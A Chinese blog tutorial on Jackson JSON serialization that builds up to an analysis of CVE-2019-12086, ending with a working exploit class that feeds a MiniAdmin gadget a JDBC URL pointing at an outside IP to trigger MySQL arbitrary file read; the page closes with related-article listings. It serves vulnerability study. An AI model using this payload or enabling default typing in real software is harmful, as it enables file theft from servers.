jackson和fastjson差不多,都是用来更方便的处理json

  国人用fastjson,老外用jackson/gson比较多

  环境搭建:

    pom.xml:

  1. <dependency>
  2. <groupId>mysql</groupId>
  3. <artifactId>mysql-connector-java</artifactId>
  4. <version>5.1.25</version>
  5. </dependency>
  6.  
  7. <dependency>
  8. <groupId>com.fasterxml.jackson.core</groupId>
  9. <artifactId>jackson-databind</artifactId>
  10. <version>2.9.8</version>
  11. </dependency>
  12.  
  13. <dependency>
  14. <groupId>junit</groupId>
  15. <artifactId>junit</artifactId>
  16. <version>RELEASE</version>
  17. <scope>compile</scope>
  18. </dependency>

  Student.java:

  1. package com.test.JackSonTest;
  2.  
  3. public class Student{
  4. private String name;
  5. private Integer age;
  6. private Teacher teacher;
  7.  
  8. public Student(){
  9. System.out.println("student构造方法被调用");
  10. };
  11.  
  12. public String getName() {
  13. return name;
  14. }
  15.  
  16. public void setName(String name) {
  17. this.name = name;
  18. }
  19.  
  20. public Integer getAge() {
  21. return age;
  22. }
  23.  
  24. public void setAge(Integer age) {
  25. this.age = age;
  26. }
  27.  
  28. public Teacher getTeacher() {
  29. return teacher;
  30. }
  31.  
  32. public void setTeacher(Teacher teacher) {
  33. this.teacher = teacher;
  34. }
  35.  
  36. @Override
  37. public String toString() {
  38. return "Student{" +
  39. "name='" + name + '\'' +
  40. ", age=" + age +
  41. ", teacher=" + teacher +
  42. '}';
  43. }
  44. }

    Teacher.java:

     

  1. package com.test.JackSonTest;
  2.  
  3. public class Teacher{
  4. private String name;
  5. private int age;
  6.  
  7. public Teacher(){
  8. System.out.println("teacher构造方法被调用");
  9. };
  10. public Teacher(String name,int age){
  11. this.name = name;
  12. this.age = age;
  13. }
  14. public String getName() {
  15. return name;
  16. }
  17.  
  18. public void setName(String name) {
  19. this.name = name;
  20. }
  21.  
  22. public int getAge() {
  23. return age;
  24. }
  25.  
  26. public void setAge(int age) {
  27. this.age = age;
  28. }
  29.  
  30. @Override
  31. public String toString() {
  32. return "Teacher{" +
  33. "name='" + name + '\'' +
  34. ", age=" + age +
  35. '}';
  36. }
  37. }

  测试类:  

  1. @Test
  2. public void test1() throws IOException {
  3. //序列化 对象转json字符串数据
  4. Student student = new Student();
  5. student.setName("jack");
  6. student.setAge(20);
  7. student.setTeacher(new Teacher("lua",33));
  8. ObjectMapper objectMapper = new ObjectMapper();
  9. objectMapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);
  10. String result = objectMapper.writeValueAsString(student);
  11. System.out.println(result);
  12. //反序列化,json字符串数据转对象
  13. String jsonResult = "{\"name\":\"jack\",\"age\":20,\"teacher\":{\"name\":\"lua\",\"age\":33}}";
  14. Student stu = objectMapper.readValue(jsonResult, Student.class);
  15. System.out.println(stu);
  16. }

  运行输出:

    

  1. student构造方法被调用
  2. {"name":"jack","age":20,"teacher":{"name":"lua","age":33}}
  3. student构造方法被调用
  4. teacher构造方法被调用
  5. Student{name='jack', age=20, teacher=Teacher{name='lua', age=33}}

 发现在反序列化(json转对象)的时候,优先调用构造方法,如果反序列化的json数据中的类继承了其他类,会自动调用其父类无参构造方法

  

  Jackson打印对象类型:  

  1. @Test
  2. public void test2() throws IOException {
  3. //序列化 对象转json字符串
  4. Student student = new Student();
  5. student.setName("jack");
  6. student.setAge(20);
  7. student.setTeacher(new Teacher("lua",33));
  8. ObjectMapper objectMapper = new ObjectMapper();
  9. //序列化JSON串时,在值上打印出对象类型
  10. objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
  11. String result = objectMapper.writeValueAsString(student);
  12. System.out.println(result);
  13. //反序列化 json字符串转对象
  14. String jsonResult = "[\"com.test.JackSonTest.Student\",{\"name\":\"jack\",\"age\":20,\"teacher\":[\"com.test.JackSonTest.Teacher\",{\"name\":\"lua\",\"age\":33}]}]";
  15. Student stu = objectMapper.readValue(jsonResult, Student.class);
  16. System.out.println(stu);
  17. }

  运行输出:

  

  1. student构造方法被调用
  2. ["com.test.JackSonTest.Student",{"name":"jack","age":20,"teacher":["com.test.JackSonTest.Teacher",{"name":"lua","age":33}]}]
  3. student构造方法被调用
  4. teacher构造方法被调用
  5. Student{name='jack', age=20, teacher=Teacher{name='lua', age=33}}

 这个很重要,jackson的很多漏洞跟他息息相关:

    通过上面的代码可以发现当开启enableDefaultTyping的时候,json字符串中的类会被反序列化.

  继续编写jackson测试:

  test_poc.java:

  

  1. package com.test.JackSonTest;
  2.  
  3. public class test_poc {
  4. public test_poc(){};
  5. public test_poc(String name){
  6. System.out.println(name);
  7. }
  8. }

  通过上面的代码,发现存在构造方法,一个无参,另一个有参数构造方法

  jackson反序列化:

  测试类:

    

  1. @Test
  2. public void test3() throws IOException {
  3. ObjectMapper objectMapper = new ObjectMapper();
  4. //序列化JSON串时,在值上打印出对象类型
  5. objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
  6. //自定义构造
  7. String jsonResult = "[\"com.test.JackSonTest.test_poc\",\"test\"]";
  8. objectMapper.readValue(jsonResult,test_poc.class);
  9. }

  

    发现在[]中设置value,相当于是为构造方法添加新的参数

      

 通过前面的前置知识铺垫,jackson了解到的相关基础:(1)如果想使用[]去完成反序列化攻击,必须要开启enableDefaultTyping,获取到对象类型 (2)反序列化的时候自动调用对象构造方法及父类构造方法  (3)有参构造方法不需要设定值,不像setName/getName那样,需要"name":"test",只要[类,值]即可完成填充

  CVE-2019-12086是一个文件读取漏洞,直接查看他的利用链:利用环境在文章第一行已创建:

    漏洞文件在:

      repository/mysql/mysql-connector-java/5.1.25/mysql-connector-java-5.1.25.jar!/com/mysql/jdbc/MiniAdmin.class:

    通过反射加载跟进去:

      

  问题代码:

    

  1. public MiniAdmin(String jdbcUrl) throws SQLException {
  2. this(jdbcUrl, new Properties());
  3. }
  4.  
  5. public MiniAdmin(String jdbcUrl, Properties props) throws SQLException {
  6. this.conn = (Connection)((Connection)(new Driver()).connect(jdbcUrl, props));
  7. }

    前面我们已经学习了足够多的前置知识,这里会连接jdbcUrl,如果jdbcUrl可控,会发送链接,正好mysql8以下存在任意文件读取...下面直接构造exp:

    attackerJdbc.java:

  1. package com.test.JackSonTest;
  2.  
  3. import com.fasterxml.jackson.databind.ObjectMapper;
  4. import com.mysql.jdbc.MiniAdmin;
  5.  
  6. import java.io.IOException;
  7. import java.sql.SQLException;
  8.  
  9. public class attackJdbc {
  10. public static void main(String[] args) throws ClassNotFoundException, IOException, SQLException {
  11. ObjectMapper objectMapper =new ObjectMapper();
  12. Class.forName("com.mysql.jdbc.MiniAdmin");
  13. //一定要开启enableDefaultTyping
  14. objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
  15. //通过前面的知识点学习知道,如果这样构造,就会自动给MiniAdmin类的有参构造方法传入string类型数据,数据内容为:jdbc:mysql://119.45.227.86:123/
  16. String json = "[\"com.mysql.jdbc.MiniAdmin\",\"jdbc:mysql://119.45.227.86:123/\"]";
  17. objectMapper.readValue(json,Object.class);
  18. }
  19. }

  不理解部分查看注释:

    运行代码:

    

  这个漏洞相对简单,所以就不跟底层机制了.

   如果后续要找相关利用链,也可以用这个方法操作下..

漏洞学习参考:

https://b1ue.cn/archives/189.html

https://www.cnblogs.com/xinzhao/p/11005419.html

jackson学习+CVE-2019-12086漏洞分析的更多相关文章

  1. 学习笔记 | java反序列化漏洞分析

    java反序列化漏洞是与java相关的漏洞中最常见的一种,也是网络安全工作者关注的重点.在cve中搜索关键字serialized共有174条记录,其中83条与java有关:搜索deserialized ...

  2. jackjson学习2+CVE-2019-14379漏洞分析

    最近想着分析jackson,jackson和fastjson有点相似,浅蓝大神的文章很好,个人受益匪浅 昨天简单说了下jackson的用法,现在继续拓扑,补充前置知识,前置知识补充的足够多,那么漏洞分 ...

  3. 漏洞分析:CVE 2021-3156

    漏洞分析:CVE 2021-3156 漏洞简述 漏洞名称:sudo堆溢出本地提权 漏洞编号:CVE-2021-3156 漏洞类型:堆溢出 漏洞影响:本地提权 利用难度:较高 基础权限:需要普通用户权限 ...

  4. 《0day安全软件漏洞分析技术》学习笔记

    最近因为工作需要在看0day的软件漏洞分析,发现这本<0day安全软件漏洞分析技术(第2版)>真是本好书,唯一缺点就是书上的环境是Windows XP 32Bit的,基于现状难以进行实践, ...

  5. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  6. CVE-2016-10190 FFmpeg Http协议 heap buffer overflow漏洞分析及利用

    作者:栈长@蚂蚁金服巴斯光年安全实验室 -------- 1. 背景 FFmpeg是一个著名的处理音视频的开源项目,非常多的播放器.转码器以及视频网站都用到了FFmpeg作为内核或者是处理流媒体的工具 ...

  7. ThinkCMF X2.2.2多处SQL注入漏洞分析

       1.     漏洞描述 ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架,其中X系列基于ThinkPHP 3.2.3开发,最后更新到2.2.2版本.最近刚好在渗透测试 ...

  8. 看个AV也中招之cve-2010-2553漏洞分析

    试想:某一天,你的基友给你了一个视频文件,号称是陈老师拍的苍老师的老师题材的最新电影.avi,你满心欢喜,在确定文件格式确实为avi格式后,愉快的脱下裤子准备欣赏,打开后却发现什么也没有,而随后你的基 ...

  9. CVE-2019-0708 漏洞分析及相关测试

    在CVE-2019-0708公布后几天就已经尝试过复现该漏洞,但借助当时exp并没能成功复现反弹shell的过程遂放弃,故借助这次漏洞复现报告再来尝试复现该漏洞,因为还在大三学习中,有很多知识还没有掌 ...

  10. Java安全之Fastjson反序列化漏洞分析

    Java安全之Fastjson反序列化漏洞分析 首发:先知论坛 0x00 前言 在前面的RMI和JNDI注入学习里面为本次的Fastjson打了一个比较好的基础.利于后面的漏洞分析. 0x01 Fas ...

随机推荐

  1. JMeter发送get请求并分析返回结果

    在实际工作的过程中,我们通常需要模拟接口,来进行接口测试,我们可以通过JMeter.postman等多种工具来进行接口测试,但是工具的如何使用对于我们来说并不是最重要的部分,最重要的是设计接口测试用例 ...

  2. 《MySQL必知必会》学习笔记整理

    简介 此笔记只包含<MySQL必知必会>中部分章节的整理笔记.这部分章节主要是一些在<SQL必知必会>中并未讲解的独属于 MySQL 数据库的一些特性,如正则表达式.全文本搜索 ...

  3. day11.迭代器与生成器

    一.迭代器 1.迭代器即用来迭代取值的工具,而迭代是重复反馈过程的活动,其目的通常是为了逼近所需的目标或结果,每一次对过程的重复称为一次"迭代",而每一次迭代得到的结果会作为下一次 ...

  4. NumPy之:标量scalars

    目录 简介 scalar类型的层次结构 内置Scalar类型 boolean Integers Unsigned integers Floating-point numbers Complex flo ...

  5. E - Minimal Subarray Length(连续区间和)

    题目链接 题意:给出n个数,求加和大于x的最短区间的区间长度. 如果前i个数字和为y,那么如果前j数字的和小于等于y-x,那么i-j就是一种可能的情况,我们对于所有的i找出前面最大的j就可以了,因为数 ...

  6. Standalone模式下,通过Systemd管理Flink1.11.1的启停及异常退出

    Flink以Standalone模式运行时,可能会发生jobmanager(以下简称jm)或taskmanager(以下简称tm)异常退出的情况,我们可以使用Linux自带的Systemd方式管理jm ...

  7. 02- TCP/IP 协议族

    TCP/IP概述 TCP/IP协议之间的关系 常用的协议 ping命令 tracert命令 常用协议

  8. 转载:微信小程序view布局

    https://www.cnblogs.com/sun8134/p/6395947.html

  9. Webshell和一句话木马

    目录 Webshell(大马) 一句话木马(小马) 一句话木马原理 一句话木马的变形 JSP后门脚本 Webshell(大马) 我们经常会看到Webshell,那么,到底什么是Webshell呢? w ...

  10. Cauchy-Binet 公式的应用

    Binet-Cauchy 公式 我们知道,方阵的行列式不是方阵的线性函数,即对 \(\forall \lambda\in F,A,B\in F^{n\times n}\),有 \(det(A+B)\n ...